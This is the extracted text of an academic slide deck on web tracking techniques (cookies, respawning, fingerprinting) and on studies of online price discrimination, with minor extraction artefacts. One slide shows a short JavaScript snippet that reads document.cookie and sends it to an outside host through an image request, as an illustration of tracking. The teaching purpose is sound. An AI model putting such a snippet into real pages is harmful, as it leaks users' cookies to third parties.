price discrimina5on in e-commerce Nataliia Bielova INDES - - PowerPoint PPT Presentation

price discrimina5on in e commerce
SMART_READER_LITE
LIVE PREVIEW

price discrimina5on in e-commerce Nataliia Bielova INDES - - PowerPoint PPT Presentation

Web tracking technologies & price discrimina5on in e-commerce Nataliia Bielova INDES team 11 February 2016 Back in 1993 2 Today 3


slide-1
SLIDE 1

Web ¡tracking ¡technologies ¡& ¡ ¡ price ¡discrimina5on ¡in ¡e-­‑commerce ¡

Nataliia ¡Bielova ¡ INDES ¡team ¡

¡ 11 ¡February ¡2016 ¡

¡

slide-2
SLIDE 2

2 ¡

Back ¡in ¡1993… ¡

slide-3
SLIDE 3

3 ¡

Today… ¡

slide-4
SLIDE 4

Web ¡Tracking ¡

4 ¡ Courtesy ¡of ¡Franziska ¡Roesner ¡

Bigger ¡browsing ¡profiles ¡ ¡ ¡ ¡ ¡ = ¡increased ¡value ¡for ¡trackers ¡ = ¡reduced ¡privacy ¡for ¡users ¡ ¡

(HypotheHcal ¡tracking ¡relaHonships ¡only.) ¡

doubleclick.com ¡ google-­‑ analyHcs.com ¡ quantserve.com ¡

Today… ¡

slide-5
SLIDE 5

Ad ¡space ¡of ¡ doubleclick ¡

AdverHsement ¡

5 ¡

doubleclick.com ¡ Ad ¡network ¡ AdverHsers ¡ Real-­‑Hme-­‑bidding ¡(RTB) ¡

slide-6
SLIDE 6

Price ¡discriminaHon ¡

6 ¡

slide-7
SLIDE 7

More ¡evidence ¡

7 ¡

slide-8
SLIDE 8

In ¡this ¡talk… ¡

§ Web ¡Tracking ¡

  • How ¡does ¡it ¡work? ¡ ¡
  • How ¡can ¡you ¡protect ¡yourself ¡from ¡being ¡tracked? ¡
  • Is ¡it ¡legal? ¡

§ Price ¡discriminaHon ¡

  • Airline ¡Hckets ¡study ¡
  • How ¡to ¡get ¡a ¡beVer ¡price? ¡
  • Is ¡it ¡legal? ¡

8 ¡

slide-9
SLIDE 9

How ¡does ¡Web ¡Tracking ¡work? ¡

9 ¡

slide-10
SLIDE 10

HTTP ¡protocol ¡is ¡stateless ¡

Web ¡browser ¡ Web ¡server ¡

HTTP ¡request ¡

URL ¡path: ¡bbc.co.uk/news ¡ Parameters ¡ Method: ¡GET ¡ … ¡

HTTP ¡response ¡

Status: ¡200 ¡OK ¡ Content: ¡HTML ¡page ¡ Set-­‑cookies: ¡session-­‑id=2082787201l ¡& ¡… ¡ ¡ … ¡

  • ­‑ ¡Mapping ¡requests ¡to ¡apps ¡
  • ­‑ ¡ContacHng ¡DBs ¡
  • ­‑ ¡ConstrucHng ¡responses ¡

¡

  • ­‑ ¡Rendering ¡pages ¡
  • ­‑ ¡ExecuHng ¡scripts/plugins ¡

(JavaScript) ¡

  • ­‑ ¡Launching ¡new ¡HTTP ¡requests ¡

10 ¡

slide-11
SLIDE 11

HTTP ¡protocol ¡is ¡stateless ¡

Web ¡browser ¡ Web ¡server ¡

HTTP ¡request ¡

URL ¡path: ¡bbc.co.uk/news ¡ Parameters ¡ Method: ¡GET ¡ … ¡

HTTP ¡response ¡

Status: ¡200 ¡OK ¡ Content: ¡HTML ¡page ¡ Set-­‑cookies: ¡session-­‑id=2082787201l ¡& ¡… ¡ ¡ … ¡

11 ¡

bbc.co.uk/news: session-id=2082787201l

Cookie ¡Database ¡

slide-12
SLIDE 12

HTTP ¡protocol ¡is ¡stateless ¡

Web ¡browser ¡ Web ¡server ¡

HTTP ¡request ¡

URL ¡path: ¡bbc.co.uk/news... ¡ Method: ¡GET ¡ ¡ Cookies: ¡session-­‑id=2082787201l ¡& ¡… ¡ … ¡

12 ¡

bbc.co.uk/news: session-id=2082787201l

Cookie ¡Database ¡

slide-13
SLIDE 13

Mechanisms ¡Required ¡By ¡Trackers ¡

  • Ability ¡to ¡store/create ¡user ¡idenHty ¡in ¡the ¡browser ¡

§ HTTP ¡cookies ¡ § HTTP ¡headers ¡ § browser ¡storages ¡ § device ¡fingerprinHng: ¡ ¡

  • browser ¡properHes ¡ ¡
  • OS ¡properHes ¡ ¡
  • IP ¡address… ¡
  • Ability ¡to ¡communicate ¡user ¡idenHty ¡back ¡to ¡tracker ¡

§ HTTP ¡request ¡headers ¡ § JavaScript ¡

Nataliia ¡Bielova ¡ 13 ¡

Stateful ¡tracking ¡ Stateless ¡tracking ¡

¡ ¡J. ¡Mayer, ¡J. ¡Mitchell ¡“Third-­‑party ¡web ¡tracking: ¡Policy ¡and ¡Technology” ¡IEEE ¡SSP’12 ¡

slide-14
SLIDE 14

Stateful ¡tracking ¡ ¡

14 ¡

TRACKING ¡VIA ¡COOKIES ¡

slide-15
SLIDE 15

Within-­‑Site ¡Tracking ¡

logs ¡ Cookie ¡Database ¡ site1.co com: m: ga_id=123 hVp://site1.com ¡ processing ¡engine ¡

2:52pm: user 123 visited site1.com

<script src=google- analytics.com/ script.js> </src>

script ¡ google-­‑analyHcs.com ¡

First-­‑party ¡cookies ¡are ¡used ¡to ¡track ¡repeat ¡visits ¡to ¡ a ¡site. ¡

go google- analyt ytics cs.co com/tr track? k? ga_i _id=123& & site=site1.co com m

Based ¡on ¡the ¡slide ¡of ¡Franziska ¡Roesner ¡ 15 ¡

slide-16
SLIDE 16

Within-­‑Site ¡Tracking ¡

logs ¡ Cookie ¡Database ¡ site1.co com: m: ga_id=123 hVp://site1.com ¡ processing ¡engine ¡

2:52pm: user 123 visited site1.com

<script src=google- analytics.com/ script.js> </src>

script ¡ google-­‑analyHcs.com ¡

First-­‑party ¡cookies ¡are ¡used ¡to ¡track ¡repeat ¡visits ¡to ¡ a ¡site. ¡

go google- analyt ytics cs.co com/tr track? k? ga_i _id=123& & site=site1.co com m

Based ¡on ¡the ¡slide ¡of ¡Franziska ¡Roesner ¡ 16 ¡

slide-17
SLIDE 17

Cookie ¡stealing ¡

  • Access ¡cookies: ¡document.cookie
  • Script ¡that ¡sends ¡cookies ¡

17 ¡

// google-analytics.com/script.js var url = “http://google-analytics.com/track?ga_id= “ + encodeURI(document.cookie) + “&site= “ + encodeURI(document.location); document.write('<img src=' + url + '/>');

script ¡

slide-18
SLIDE 18

First-­‑party ¡cookie ¡selng ¡

18 ¡

slide-19
SLIDE 19

First-­‑party ¡cookies ¡benefits ¡

  • Keep ¡the ¡session ¡through ¡

different ¡windows/tabs ¡

  • Website ¡owners ¡can ¡evaluate ¡

§ website ¡staHsHcs ¡ § popularity ¡of ¡certain ¡pages ¡ § popularity ¡of ¡links ¡ § selected ¡and ¡copied ¡phrases ¡

19 ¡

slide-20
SLIDE 20

Cookies: ¡first-­‑ ¡& ¡third-­‑party ¡

<script src=facebook.com> </src>

JavaScript ¡1 ¡ ny5mes.com ¡ b.scorecardresearch.com ¡

Nataliia ¡Bielova ¡ 20 ¡

First-­‑party ¡ Third-­‑party ¡

nyHmes.com ¡ Origin ¡ Origin ¡

can ¡read/write ¡ ¡ cookies ¡of ¡ ¡ ny5mes.com ¡ can ¡read/write ¡ ¡ cookies ¡of ¡ ¡ b.scorecardresearch .com ¡ <iframe src=b.scorecardresearch.com> </iframe>

Html ¡page ¡+ ¡ ¡ JavaScript ¡2 ¡

slide-21
SLIDE 21

Cross-­‑site ¡Tracking ¡

Courtesy ¡of ¡Franziska ¡Roesner ¡

logs ¡ Cookie ¡Database ¡ tracker.co com: id=789 hVp://site1.com ¡ processing ¡engine ¡

co cookie: i id=789

9:30am: user 789 visited site1.com

<iframe src=tracker.com/ ad.html> </iframe>

ad ¡

9:31am: user 789 visited site2.com

hVp://site2.com ¡

co cookie: i id=789

tracker.com ¡

Third-­‑party ¡cookies ¡are ¡used ¡by ¡trackers ¡included ¡in ¡

  • ther ¡sites ¡to ¡create ¡profiles. ¡

¡

21 ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡Roesner ¡etal ¡“DetecHng ¡and ¡Defending ¡Against ¡Third-­‑Party ¡Tracking ¡on ¡the ¡Web” ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡NSDI’2012 ¡

slide-22
SLIDE 22

PracHcal ¡protecHon: ¡ Third-­‑party ¡cookies ¡blocking ¡

22 ¡

slide-23
SLIDE 23

PracHcal ¡protecHon: ¡ Third-­‑party ¡cookies ¡blocking ¡

  • Does ¡not ¡influence ¡your ¡browsing ¡experience ¡
  • Does ¡not ¡adjust ¡adverHsements ¡for ¡you ¡

¡

  • So ¡why ¡are ¡third-­‑party ¡cookies ¡s5ll ¡there? ¡

§ It’s ¡a ¡business ¡of ¡adverHsement ¡companies ¡

23 ¡

slide-24
SLIDE 24

facebook.com ¡ Cookie ¡Database ¡ facebook.com: fb_id=522 hVp://facebook.com ¡ First-­‑party ¡ site ¡ hVp://site.com ¡

<iframe src=faceboook.com /button.html> </iframe>

logs ¡ processing ¡engine ¡

Personal ¡Cross-­‑Site ¡Tracking ¡

24 ¡

co cookie: fb_i _id=5 =522

2:34pm: user 522 visited facebook.com 2:35pm: user 522 visited site.com

slide-25
SLIDE 25

Third-­‑party ¡cookie ¡blocking ¡problem ¡

  • Important ¡detail: ¡

¡In ¡most ¡browsers, ¡third-­‑party ¡cookie ¡blocking ¡ ¡opHon ¡ ¡doesn’t ¡block ¡sending ¡the ¡cookies ¡

  • Privacy ¡problems: ¡

§ If ¡a ¡tracker ¡can ¡ever ¡set ¡a ¡cookie, ¡third-­‑party ¡cookie ¡ blocking ¡is ¡rendered ¡ineffec5ve. ¡ § The ¡user ¡can ¡be ¡tracked ¡just ¡because ¡a ¡site ¡she ¡visits ¡ contains ¡a ¡social ¡buTon ¡

25 ¡

slide-26
SLIDE 26

facebook.com ¡ Cookie ¡Database ¡ facebook.com: fb_id=522 hVp://facebook.com ¡ First-­‑party ¡ site ¡ hVp://site.com ¡

<iframe src=faceboook.com /button.html> </iframe>

logs ¡ processing ¡engine ¡

ShareMeNot ¡

26 ¡

2:34pm: user 522 visited facebook.com 2:35pm: user 522 visited site.com

Now ¡is ¡a ¡part ¡of ¡Privacy ¡Badger ¡hVps://www.eff.org/privacybadger ¡ ¡

slide-27
SLIDE 27

Cookie ¡respawning ¡

  • Cookies ¡can ¡respawn ¡even ¡if ¡the ¡

user ¡has ¡deleted ¡them ¡

  • KISSmetrics ¡and ¡Hulu.com ¡lawsuits ¡

§ HTML5 ¡localStorage ¡(across ¡sessions ¡

  • nly) ¡

§ Flash ¡LSOs ¡(across ¡sessions ¡and ¡web ¡ browsers) ¡ ¡ § HTTP ¡headers: ¡Etag, ¡LastModified ¡ ¡

27 ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡A. ¡Soltani ¡hVp://ashkansoltani.org/2011/08/11/respawn-­‑redux-­‑flash-­‑cookies/ ¡August ¡2011 ¡

slide-28
SLIDE 28

Respawning ¡-­‑ ¡local ¡storages ¡

28 ¡

  • KissMetrics ¡lawsuit: ¡HTML5 ¡localStorage ¡(across ¡sessions) ¡

logs ¡ Cookie ¡Database ¡ tracker.co com: id=789 hVp://site1.com ¡ processing ¡engine ¡

9:30am: user 789 visited site1.com

<iframe src=tracker.com/ ad.html> </iframe>

ad ¡

co cookie: i id=789

tracker.com ¡ HTML5 ¡localStorage ¡ tracker.co com: id=789

User ¡leaves ¡the ¡page ¡

slide-29
SLIDE 29

Respawning ¡-­‑ ¡local ¡storages ¡

29 ¡

  • KissMetrics ¡lawsuit: ¡HTML5 ¡localStorage ¡(across ¡sessions) ¡

logs ¡ Cookie ¡Database ¡ tracker.co com: id=789 processing ¡engine ¡

9:30am: user 789 visited site1.com

<iframe src=tracker.com/ ad.html> </iframe>

ad ¡

co cookie: i id=789

tracker.com ¡ HTML5 ¡localStorage ¡ tracker.co com: id=789

User ¡deletes ¡all ¡the ¡cookies! ¡

hVp://site2.com ¡

9:31am: user 789 visited site2.com

slide-30
SLIDE 30

Respawning ¡via ¡Etag ¡header ¡

  • Etag ¡header ¡is ¡a ¡caching ¡mechanism ¡

30 ¡

A.com ¡ GET: ¡A.com ¡ 200 ¡OK ¡ Etag: ¡“x234dff” ¡ GET: ¡A.com ¡ If-­‑None-­‑Match: ¡“x234dff” ¡

(html ml b body) y)

A.co com: token = “x234dff”

(html ml b body) y)

Resource ¡cache ¡ A.com ¡has ¡ ¡ not ¡changed ¡ 304 ¡Not ¡Modified ¡ Etag: ¡“x234dff” ¡

slide-31
SLIDE 31

Respawning ¡via ¡Etag ¡header ¡

KissMetrics ¡lawsuit, ¡August ¡2011 ¡

¡ 31 ¡

INITIAL REQUEST HEADER: GET /i.js HTTP/1.1 Host: i.kissmetrics.com INITIAL RESPONSE HEADER: Etag: "Z9iGGN1n1-zeVqbgzrlKkl39hiY" Expires: Sun, 12 Dec 2038 01:19:31 GMT Last-Modified: Wed, 27 Jul 2011 00:19:31 GMT Set-Cookie: _km_cid=Z9iGGN1n1-zeVqbgzrlKkl39hiY; expires=Sun, 12 Dec 2038 01:19:31 GMT;path=/; SUBSEQUENT REQUEST HEADER (PRIVATE BROWSING MODE WITH ALL COOKIES BLOCKED): GET /i.js HTTP/1.1 Host: i.kissmetrics.com If-None-Match: "Z9iGGN1n1-zeVqbgzrlKkl39hiY"

slide-32
SLIDE 32

Not ¡Respawning, ¡but ¡Tracking ¡

  • Important ¡detail: ¡

§ If ¡Etag ¡header, ¡HTML5 ¡localStorage, ¡or ¡Flash ¡LSO ¡ didn’t ¡store ¡a ¡copy ¡of ¡cookies ¡ => ¡tracking ¡would ¡not ¡be ¡detected! ¡

  • Privacy ¡problem: ¡

§ All ¡of ¡these ¡storages ¡can ¡be ¡used ¡for ¡tracking ¡without ¡ cookies ¡

32 ¡

slide-33
SLIDE 33

ProtecHon ¡from ¡stateful ¡tracking ¡

  • Browser ¡selng: ¡block ¡third-­‑party ¡cookies ¡

§ Protects ¡from ¡tracking ¡(purely) ¡via ¡cookies ¡ § Does ¡not ¡protect ¡from ¡cookie ¡respawning ¡ § Does ¡not ¡protect ¡from ¡tracking ¡via ¡other ¡storages ¡

  • Browser ¡extension: ¡block ¡scripts/requests ¡only ¡

from ¡known ¡adver5sement/tracking ¡companies ¡

§ Does ¡not ¡protect ¡from ¡tracking ¡by ¡other ¡companies ¡ § Does ¡not ¡protect ¡form ¡tracking ¡by ¡the ¡main ¡website ¡

33 ¡

slide-34
SLIDE 34

Research ¡soluHons ¡

  • Dynamic ¡Informa5on ¡Flow ¡Control ¡ ¡

§ Monitors ¡JavaScript ¡to ¡prevent ¡cookie ¡stealing ¡ § Strong ¡formal ¡guarantee ¡

  • secret ¡data ¡sources ¡(cookies) ¡do ¡not ¡flow ¡into ¡public ¡

data ¡sinks ¡(servers, ¡storages) ¡

§ Several ¡implementaHons: ¡

  • Enhanced ¡web ¡browser ¡FlowFox ¡ ¡[De ¡Groef ¡et ¡al. ¡CCS’12] ¡
  • FireFox ¡plugin ¡ZaphodFacets ¡[AusHn ¡& ¡Flanagan ¡POPL’12] ¡

¡

34 ¡

slide-35
SLIDE 35

Do-­‑not-­‑track ¡and ¡EU ¡ePrivacy ¡direcHve ¡

35 ¡

slide-36
SLIDE 36

Do-­‑Not-­‑Track ¡(DNT) ¡

36 ¡

slide-37
SLIDE 37

Do-­‑Not-­‑Track ¡(DNT) ¡

  • Tracking ¡preference ¡expression ¡ ¡

§ New ¡HTTP ¡request ¡header ¡DNT:1 ¡ ¡ § OpHonal ¡HTTP ¡response ¡header ¡Tk:1 ¡(server ¡is ¡compliant) ¡

  • How ¡the ¡web ¡servers ¡should ¡enforce ¡DNT? ¡

§ “do-­‑not-­‑track” ¡à“do-­‑not-­‑target” ¡ ¡ § do ¡not ¡target ¡the ¡users ¡based ¡on ¡collected ¡data ¡ § but ¡sHll ¡allow ¡data ¡to ¡be ¡collected ¡

  • Did ¡anything ¡actually ¡change? ¡

§ IE ¡10 ¡adds ¡DNT:1 ¡by ¡default, ¡Yahoo! ¡and ¡Apache ¡ignore ¡it. ¡

37 ¡

slide-38
SLIDE 38

EU ¡ePrivacy ¡DirecHve ¡95/46 ¡

w.r.t. ¡Stateful ¡tracking ¡

2002/58/EC: ¡ ¡

  • users ¡should ¡be ¡able ¡to ¡refuse ¡

to ¡have ¡info ¡stored ¡in ¡their ¡ browser ¡

38 ¡

EU ¡states: ¡

  • users ¡can ¡change ¡their ¡cookie ¡

seYngs ¡

Actual ¡Regula5on ¡ Interpreta5on ¡

2009/136/EC: ¡

  • users ¡should ¡give ¡a ¡consent ¡to ¡

have ¡info ¡stored ¡in ¡their ¡ browser ¡

Some ¡EU ¡states: ¡

  • cookie ¡selng ¡is ¡an ¡implicit ¡

consent ¡

Most ¡of ¡other ¡EU ¡states: ¡

  • no, ¡we ¡need ¡other ¡standard ¡

with ¡explicit ¡consent ¡

slide-39
SLIDE 39

39 ¡

Thanks ¡to ¡EU ¡ePrivacy ¡DirecHve ¡

slide-40
SLIDE 40

WEB-­‑BASED ¡DEVICE ¡FINGERPRINTING ¡ ¡

Stateless ¡Web ¡Tracking ¡

40 ¡

slide-41
SLIDE 41
  • Web-­‑based ¡device ¡fingerprin5ng ¡

§ Allows ¡track ¡users ¡without ¡the ¡need ¡of ¡cookies ¡of ¡ any ¡other ¡stateful ¡client-­‑side ¡idenHfier ¡ § Hidden ¡from ¡users ¡ § Hard ¡to ¡avoid/opt-­‑out ¡

  • PanopHclick ¡demonstrates ¡ ¡

§ Certain ¡aVributes ¡of ¡your ¡browser ¡environment ¡ can ¡be ¡used ¡to ¡accurately ¡track ¡you ¡

Based ¡on ¡a ¡slide ¡of ¡Nick ¡Nikiforakis ¡ 41 ¡

Stateless ¡tracking ¡

slide-42
SLIDE 42

ProperHes ¡fingerprinted ¡by ¡ PanopHclick ¡

PanopHclick ¡hVps://panopHclick.eff.org ¡ 42 ¡

slide-43
SLIDE 43
slide-44
SLIDE 44
slide-45
SLIDE 45
slide-46
SLIDE 46

Nataliia ¡Bielova ¡ 46 ¡

Browser ¡property ¡ Source ¡ User ¡Agent ¡ ¡ (browser ¡name ¡and ¡version, ¡OS ¡ version, ¡etc) ¡ HTTP ¡ JavaScript ¡ HTTP_ACCEPT ¡header ¡ HTTP ¡ Browser ¡plugin ¡details ¡ JavaScript ¡ Time ¡zone ¡ JavaScript ¡ Screen ¡size ¡and ¡color ¡depth ¡ JavaScript ¡ System ¡fonts ¡

Flash/Java ¡

Cookies ¡enabled? ¡ HTTP ¡ JavaScript ¡ Supercookies ¡test ¡ JavaScript ¡

ResulHng ¡fingerprints ¡

83.6% ¡of ¡users ¡could ¡be ¡uniquely ¡ idenHfied ¡ 94.2% ¡of ¡users ¡with ¡Flash/Java ¡could ¡be ¡ uniquely ¡idenHfied ¡ Plugins ¡and ¡fonts ¡are ¡the ¡ ¡ most ¡idenHfying ¡metrics! ¡ ¡

slide-47
SLIDE 47

Very ¡hard ¡to ¡opt-­‑out ¡

  • Even ¡if ¡

§ you ¡delete ¡all ¡the ¡cookies ¡ § you ¡clean ¡all ¡the ¡storages ¡(HTML5, ¡Flash) ¡ § you ¡use ¡browser ¡private ¡mode ¡

…your ¡fingerprint ¡remains ¡the ¡same! ¡ ¡

47 ¡

slide-48
SLIDE 48

Browser ¡extensions ¡are ¡ ¡ worse ¡than ¡nothing… ¡

  • Acar ¡et ¡al. ¡reviewed ¡11 ¡different ¡browser ¡extensions ¡

that ¡spoof ¡a ¡browser’s ¡user-­‑agent ¡

  • All ¡of ¡them ¡had ¡one ¡or ¡more ¡of ¡the ¡following: ¡

§ Incomplete ¡coverage ¡of ¡the ¡navigator ¡object ¡ § Impossible ¡configuraHons ¡ § Mismatch ¡between ¡UA ¡header ¡and ¡UA ¡property ¡

  • Problem: ¡

§ When ¡installing ¡these, ¡a ¡user ¡becomes ¡more ¡visible ¡and ¡ more ¡fingerprintable ¡than ¡before ¡

Courtesy ¡of ¡Nick ¡Nikiforakis ¡ 48 ¡

¡ ¡ ¡ ¡ ¡ ¡Acar ¡et ¡al. ¡FPDetecHve: ¡DusHng ¡the ¡Web ¡for ¡Fingerprinters, ¡CCS’13 ¡

slide-49
SLIDE 49

Browser ¡extensions ¡are ¡ ¡ worse ¡than ¡nothing… ¡

  • Acar ¡et ¡al. ¡reviewed ¡11 ¡different ¡browser ¡extensions ¡

that ¡spoof ¡a ¡browser’s ¡user-­‑agent ¡

  • All ¡of ¡them ¡had ¡one ¡or ¡more ¡of ¡the ¡following: ¡

§ Incomplete ¡coverage ¡of ¡the ¡navigator ¡object ¡ § Impossible ¡configuraHons ¡ § Mismatch ¡between ¡UA ¡header ¡and ¡UA ¡property ¡

  • Problem: ¡

§ When ¡installing ¡these, ¡a ¡user ¡becomes ¡more ¡visible ¡and ¡ more ¡fingerprintable ¡than ¡before ¡

Courtesy ¡of ¡Nick ¡Nikiforakis ¡ 49 ¡

¡ ¡ ¡ ¡ ¡ ¡Acar ¡et ¡al. ¡FPDetecHve: ¡DusHng ¡the ¡Web ¡for ¡Fingerprinters, ¡CCS’13 ¡

Fingerprintable ¡ ¡ Surface ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

Extension_A ¡ ¡ ¡ ¡ Extension_C ¡ Extension_B ¡

slide-50
SLIDE 50

In ¡this ¡talk… ¡

§ Web ¡Tracking ¡

  • How ¡does ¡it ¡work? ¡ ¡
  • How ¡can ¡you ¡protect ¡yourself ¡from ¡being ¡tracked? ¡
  • Is ¡it ¡legal? ¡

§ Price ¡discriminaHon ¡

  • Airline ¡Hckets ¡study ¡
  • How ¡to ¡get ¡a ¡beVer ¡price? ¡
  • Is ¡it ¡legal? ¡

50 ¡

slide-51
SLIDE 51

Price ¡DiscriminaHon ¡in ¡e-­‑commerce ¡

51 ¡

slide-52
SLIDE 52

52 ¡

slide-53
SLIDE 53

53 ¡

slide-54
SLIDE 54

What ¡is ¡price ¡discriminaHon? ¡

  • SituaHon ¡where ¡two ¡

consumers ¡are ¡charged ¡ differently ¡for ¡the ¡same ¡ product ¡ ¡

  • Based ¡on ¡how ¡much ¡they ¡are ¡

able/willing ¡to ¡pay ¡

  • Not ¡possible ¡in ¡real ¡life, ¡but ¡

possible ¡on ¡the ¡internet! ¡ ¡

54 ¡

slide-55
SLIDE 55

Why ¡price ¡discriminaHon ¡is ¡possible? ¡

§ Massive ¡amounts ¡of ¡user-­‑data ¡gathered ¡on ¡the ¡ web ¡is ¡natural ¡fit ¡to ¡determine ¡how ¡much ¡the ¡ user ¡is ¡willing ¡to ¡pay ¡

  • Is ¡the ¡user ¡a ¡big ¡spender? ¡
  • Has ¡the ¡user ¡searched ¡for ¡this ¡before? ¡
  • Is ¡the ¡user ¡acHvely ¡comparing ¡products ¡(potenHally ¡

cross-­‑site) ¡? ¡

  • How ¡bad ¡does ¡he ¡want/need ¡the ¡product? ¡
  • … ¡

55 ¡

slide-56
SLIDE 56

How ¡does ¡it ¡work? ¡

  • Main ¡discrimina5ve ¡factors: ¡

§ Geographical ¡locaHon ¡ ¡

  • IP ¡address ¡

§ Device ¡and ¡OS ¡ ¡

  • UserAgent ¡HTTP ¡header, ¡JavaScript ¡

§ Previous ¡search ¡queries ¡

  • 1st-­‑party ¡tracking ¡(cookies) ¡

§ Consumer ¡profile ¡(willingness ¡to ¡spend) ¡

  • 3rd-­‑party ¡tracking ¡(cookies, ¡storages, ¡fingerprinHng) ¡

56 ¡

slide-57
SLIDE 57

Does ¡the ¡EU ¡law ¡protect ¡us? ¡ ¡ ¡

  • The ¡EU ¡law ¡is ¡prohibits ¡ ¡

§ Different ¡treatment ¡of ¡two ¡clients ¡based ¡on ¡their ¡ na5onality ¡and ¡residence. ¡ § DiscriminaHon ¡based ¡on ¡gender, ¡religion ¡or ¡race ¡

DirecHve ¡2006/123/EC ¡of ¡the ¡European ¡Parliament ¡and ¡of ¡the ¡Council ¡of ¡12 ¡December ¡2006 ¡on ¡ services ¡in ¡the ¡internal ¡market ¡ 57 ¡

slide-58
SLIDE 58

58 ¡

slide-59
SLIDE 59

Does ¡the ¡EU ¡law ¡protect ¡us? ¡ ¡ ¡

  • The ¡EU ¡law ¡is ¡prohibits ¡ ¡

§ Different ¡treatment ¡of ¡two ¡clients ¡based ¡on ¡their ¡ na5onality ¡and ¡residence. ¡ § DiscriminaHon ¡based ¡on ¡gender, ¡religion ¡or ¡race ¡

  • But ¡nothing ¡prohibits ¡discrimina5on ¡based ¡on ¡

device, ¡search ¡history ¡or ¡cookies! ¡

DirecHve ¡2006/123/EC ¡of ¡the ¡European ¡Parliament ¡and ¡of ¡the ¡Council ¡of ¡12 ¡December ¡2006 ¡on ¡ services ¡in ¡the ¡internal ¡market ¡ 59 ¡

slide-60
SLIDE 60

General ¡retailers ¡study ¡

  • Real-­‑user ¡study ¡based ¡on ¡plugin ¡
  • DiscriminaHve ¡factors: ¡country ¡+ ¡device ¡
  • Results: ¡

§ Amazon, ¡Staples: ¡different ¡price ¡for ¡different ¡country ¡ § Shoplet: ¡smaller ¡price ¡for ¡``budget’’ ¡profiles ¡(based ¡on ¡ cookies) ¡

  • $heriff ¡plugin ¡– ¡compares ¡prices ¡for ¡you ¡

60 ¡

¡ ¡Mikians, ¡GyarmaH, ¡Erramilli, ¡Laoutaris ¡Detec?ng ¡Price ¡and ¡Search ¡Discrimina?on ¡in ¡ ¡ ¡ ¡the ¡Internet" ¡in ¡Proc. ¡of ¡ACM ¡HotNets'12. ¡

slide-61
SLIDE 61

Airline ¡Hckets ¡study ¡

61 ¡

¡ ¡Vissers, ¡Nikiforakis, ¡Bielova, ¡Joosen. ¡Crying ¡Wolf? ¡On ¡the ¡Price ¡DiscriminaHon ¡of ¡ ¡ ¡ ¡Online ¡Airline ¡Tickets. ¡Hot ¡Topics ¡in ¡Privacy ¡Enhancing ¡Technologies ¡(HotPETs ¡2014) ¡ ¡

slide-62
SLIDE 62

Hypothesis ¡

62 ¡

  • DiscriminaHve ¡factors: ¡

– Device ¡and ¡OS ¡ – Consumer ¡profile ¡(willingness ¡to ¡spend) ¡ – Previous ¡search ¡queries ¡ – Geographical ¡locaHon ¡

  • Hypothesis ¡

If ¡airlines ¡return ¡different ¡prices ¡according ¡to ¡… ¡ we ¡should ¡observe ¡a ¡systema?c ¡price ¡difference ¡between ¡ emulated ¡users ¡who ¡differ ¡in ¡those ¡characteris?cs. ¡

slide-63
SLIDE 63

Large-­‑scale ¡analysis: ¡Overview ¡

  • Numbers: ¡

– 25 ¡airlines, ¡twice ¡per ¡day ¡ – 3 ¡weeks ¡ – 66 ¡user ¡profiles ¡ – 2 ¡geographical ¡locaHons ¡

  • How? ¡

– A ¡web ¡scraper ¡ ¡

  • Scrape ¡all ¡airlines ¡with ¡all ¡different ¡user ¡profiles ¡

– EmulaHng ¡real ¡user ¡interacHons ¡

  • CasperJS, ¡PhantomJS ¡

63 ¡

130,000+ ¡search ¡queries ¡

slide-64
SLIDE 64

Large-­‑scale ¡analysis: ¡User ¡profiles ¡

  • Browser ¡and ¡OS ¡profiles ¡

– User-­‑Agent ¡string ¡and ¡JS ¡navigator ¡object ¡

  • IE ¡9 ¡on ¡Win7, ¡Safari ¡6 ¡on ¡OSX ¡10.7, ¡… ¡
  • Consumer ¡profiles ¡

– Gathering ¡cookies ¡from ¡relevant ¡websites ¡

  • Affluent, ¡Budget ¡and ¡Flight ¡Comparer ¡
  • Cookie ¡selng ¡profiles ¡

– AccepHng/Blocking ¡certain ¡cookies ¡

  • own ¡cookies, ¡with(out) ¡consumer ¡profile ¡cookies, ¡ ¡

no ¡third-­‑party ¡cookies ¡

  • Geographical ¡profile ¡

– Scraper ¡in ¡runs ¡in ¡parallel ¡on ¡different ¡locaHons ¡

  • New ¡York ¡and ¡Leuven ¡

64 ¡

slide-65
SLIDE 65

Results ¡

  • No ¡consistent ¡price ¡discriminaHon ¡based ¡on ¡

the ¡analyzed ¡used ¡profiles! ¡ ¡

  • Analyzed ¡top-­‑25 ¡companies ¡
  • Dataset: ¡

¡hVp://people.cs.kuleuven.be/~thomas.vissers/data/price_discriminaHon.zip ¡

65 ¡

slide-66
SLIDE 66

General ¡retailers, ¡hotel ¡and ¡car ¡rental ¡ study ¡

  • Large-­‑scale ¡study: ¡ ¡

§ 16 ¡websites ¡ § Web ¡scraper ¡+ ¡Real ¡user ¡tests ¡

  • real ¡users ¡pay ¡more ¡than ¡machines! ¡
  • Results: ¡ ¡

§ Expedia ¡and ¡Hotels.com ¡steered ¡users ¡toward ¡more ¡ expensive ¡hotels ¡based ¡on ¡search ¡history ¡ § Priceline: ¡users ¡who ¡clicked ¡on ¡or ¡reserved ¡low-­‑price ¡ hotel ¡rooms ¡received ¡slightly ¡different ¡results ¡in ¡a ¡ different ¡order ¡

66 ¡

¡ ¡Hannak, ¡Soeller, ¡Lazer, ¡Mislove, ¡Wilson ¡Measuring ¡Price ¡Discrimina?on ¡and ¡Steering ¡ ¡ ¡ ¡on ¡E-­‑commerce ¡Web ¡Sites, ¡ACM/USENIX ¡IMC’14 ¡

slide-67
SLIDE 67

How ¡to ¡avoid ¡discriminaHon? ¡

  • Block ¡3rd ¡party ¡cookies: ¡

§ Not ¡always ¡effecHve ¡ § Does ¡block ¡other ¡tracking ¡mechanisms ¡

  • Mask ¡IP ¡address: ¡ ¡

§ Tor ¡browser ¡is ¡effecHve ¡but ¡slow ¡ § Privoxy ¡proxy ¡may ¡be ¡effecHve, ¡but ¡risky? ¡

67 ¡

slide-68
SLIDE 68

Summary ¡

§ Web ¡Tracking ¡

  • Stateful ¡and ¡stateless: ¡cookies, ¡storages, ¡fingerprinHng ¡
  • No ¡effecHve ¡protecHon ¡from ¡all ¡
  • EU ¡law: ¡user ¡consent ¡

§ Price ¡discriminaHon ¡

  • Studies: ¡Airline ¡Hckets, ¡General ¡retailers, ¡Hotels ¡and ¡cars ¡
